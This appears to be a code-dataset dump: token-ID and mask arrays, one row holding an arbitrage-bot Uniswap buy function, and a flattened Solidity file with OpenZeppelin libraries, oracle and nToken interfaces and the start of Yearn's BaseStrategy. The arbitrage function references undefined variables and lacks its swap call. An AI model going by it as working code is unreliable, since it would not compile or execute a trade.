0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
1918,
9446,
12,
11890,
5034,
389,
6610,
16,
2254,
5034,
389,
8949,
16,
1758,
628,
16,
1758,
358,
13,
2713,
288,
203,
3639,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
3639,
2583,
12,
6011,
18,
1918,
9446,
429,
16,
315,
1190,
9446,
310,
628,
333,
2845,
353,
5673,
8863,
203,
3639,
25003,
2502,
729,
273,
16753,
63,
67,
6610,
6362,
2080,
15533,
203,
3639,
2583,
12,
1355,
18,
8949,
1545,
389,
8949,
16,
315,
1918,
9446,
30,
486,
7494,
8863,
203,
203,
3639,
8039,
1891,
16639,
5621,
203,
203,
3639,
309,
24899,
8949,
405,
374,
13,
288,
203,
5411,
729,
18,
8949,
273,
729,
18,
8949,
18,
1717,
24899,
8949,
1769,
203,
5411,
2845,
18,
2316,
18,
4626,
5912,
12,
2867,
12,
869,
3631,
389,
8949,
1769,
203,
3639,
289,
203,
3639,
729,
18,
266,
2913,
758,
23602,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
2180,
3644,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
1769,
203,
203,
3639,
3626,
3423,
9446,
12,
869,
16,
389,
6610,
16,
389,
8949,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xF638B0f72e96Fc047D72A136e087a524e0571B28/sources/localhost/arb-bot/contracts/ArbBot.sol | Input: eth from wallet; output: tokens to contract minTokenAmountOut - must be decimalised amounts[0] will contain token amount out | function _doUniswapV2Buy(IUniswapV2Router02 _uniswapV2Router, uint minTokenAmountOut, address targetAddress) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = targetAddress;
address to = address(this);
uint deadline = block.timestamp + DEADLINE_OFFSET_SECS;
uint tokenAmountOut = amounts[0];
}
| 16,563,247 | [
1,
1210,
30,
13750,
628,
9230,
31,
876,
30,
2430,
358,
6835,
1131,
1345,
6275,
1182,
300,
1297,
506,
6970,
5918,
30980,
63,
20,
65,
903,
912,
1147,
3844,
596,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
2896,
984,
291,
91,
438,
58,
22,
38,
9835,
12,
45,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
16,
2254,
1131,
1345,
6275,
1182,
16,
1758,
1018,
1887,
13,
3238,
288,
203,
540,
203,
3639,
1758,
8526,
3778,
589,
273,
394,
1758,
8526,
12,
22,
1769,
203,
3639,
589,
63,
20,
65,
273,
640,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
5621,
203,
3639,
589,
63,
21,
65,
273,
1018,
1887,
31,
203,
377,
203,
3639,
1758,
358,
273,
1758,
12,
2211,
1769,
203,
540,
203,
3639,
2254,
14096,
273,
1203,
18,
5508,
397,
2030,
1880,
5997,
67,
11271,
67,
1090,
4596,
31,
203,
203,
540,
203,
3639,
2254,
1147,
6275,
1182,
273,
30980,
63,
20,
15533,
203,
565,
289,
203,
377,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// File: Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256(\'\')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity\'s `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: AggregatorInterface.sol
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
// File: AggregatorV3Interface.sol
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 oundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// File: AssetRateAdapter.sol
/// @notice Used as a wrapper for tokens that are interest bearing for an
/// underlying token. Follows the cToken interface, however, can be adapted
/// for other interest bearing tokens.
interface AssetRateAdapter {
function token() external view returns (address);
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function underlying() external view returns (address);
function getExchangeRateStateful() external returns (int256);
function getExchangeRateView() external view returns (int256);
function getAnnualizedSupplyRate() external view returns (uint256);
}
// File: IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller\'s account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller\'s tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender\'s allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller\'s
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: IWETH.sol
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// File: Math.sol
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: SafeMath.sol
/**
* @dev Wrappers over Solidity\'s arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it\'s recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity\'s `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity\'s `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity\'s `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity\'s `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring \'a\' not being zero, but the
// benefit is lost if \'b\' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity\'s `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity\'s `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn\'t hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity\'s `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity\'s `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: nTokenERC20.sol
interface nTokenERC20 {
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
function nTokenTotalSupply(address nTokenAddress) external view returns (uint256);
function nTokenTransferAllowance(
uint16 currencyId,
address owner,
address spender
) external view returns (uint256);
function nTokenBalanceOf(uint16 currencyId, address account) external view returns (uint256);
function nTokenTransferApprove(
uint16 currencyId,
address owner,
address spender,
uint256 amount
) external returns (bool);
function nTokenTransfer(
uint16 currencyId,
address from,
address to,
uint256 amount
) external returns (bool);
function nTokenTransferFrom(
uint16 currencyId,
address spender,
address from,
address to,
uint256 amount
) external returns (bool);
function nTokenTransferApproveAll(address spender, uint256 amount) external returns (bool);
function nTokenClaimIncentives() external returns (uint256);
function nTokenPresentValueAssetDenominated(uint16 currencyId) external view returns (int256);
function nTokenPresentValueUnderlyingDenominated(uint16 currencyId)
external
view
returns (int256);
}
// File: AggregatorV2V3Interface.sol
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface
{
}
// File: SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// \'safeIncreaseAllowance\' and \'safeDecreaseAllowance\'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity\'s return data size checking mechanism, since
// we\'re implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: BaseStrategy.sol
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy\'s borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
/**
* This interface is here for the keeper bot to use.
*/
interface StrategyAPI {
function name() external view returns (string memory);
function vault() external view returns (address);
function want() external view returns (address);
function apiVersion() external pure returns (string memory);
function keeper() external view returns (address);
function isActive() external view returns (bool);
function delegatedAssets() external view returns (uint256);
function estimatedTotalAssets() external view returns (uint256);
function tendTrigger(uint256 callCost) external view returns (bool);
function tend() external;
function harvestTrigger(uint256 callCost) external view returns (bool);
function harvest() external;
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
}
interface HealthCheck {
function check(
uint256 profit,
uint256 loss,
uint256 debtPayment,
uint256 debtOutstanding,
uint256 totalDebt
) external view returns (bool);
}
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()\'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy\'s performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
// health checks
bool public doHealthCheck;
address public healthCheck;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy\'s version must match the Vault\'s `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.4.3";
}
/**
* @notice This Strategy\'s name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy\'s name.
*/
function name() external view virtual returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn\'s TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn\'s ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn\'s Total Value
* Locked (TVL) calculation across it\'s ecosystem.
*/
function delegatedAssets() external view virtual returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyEmergencyAuthorized() {
require(
msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyVaultManagers() {
require(msg.sender == vault.management() || msg.sender == governance(), "!authorized");
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
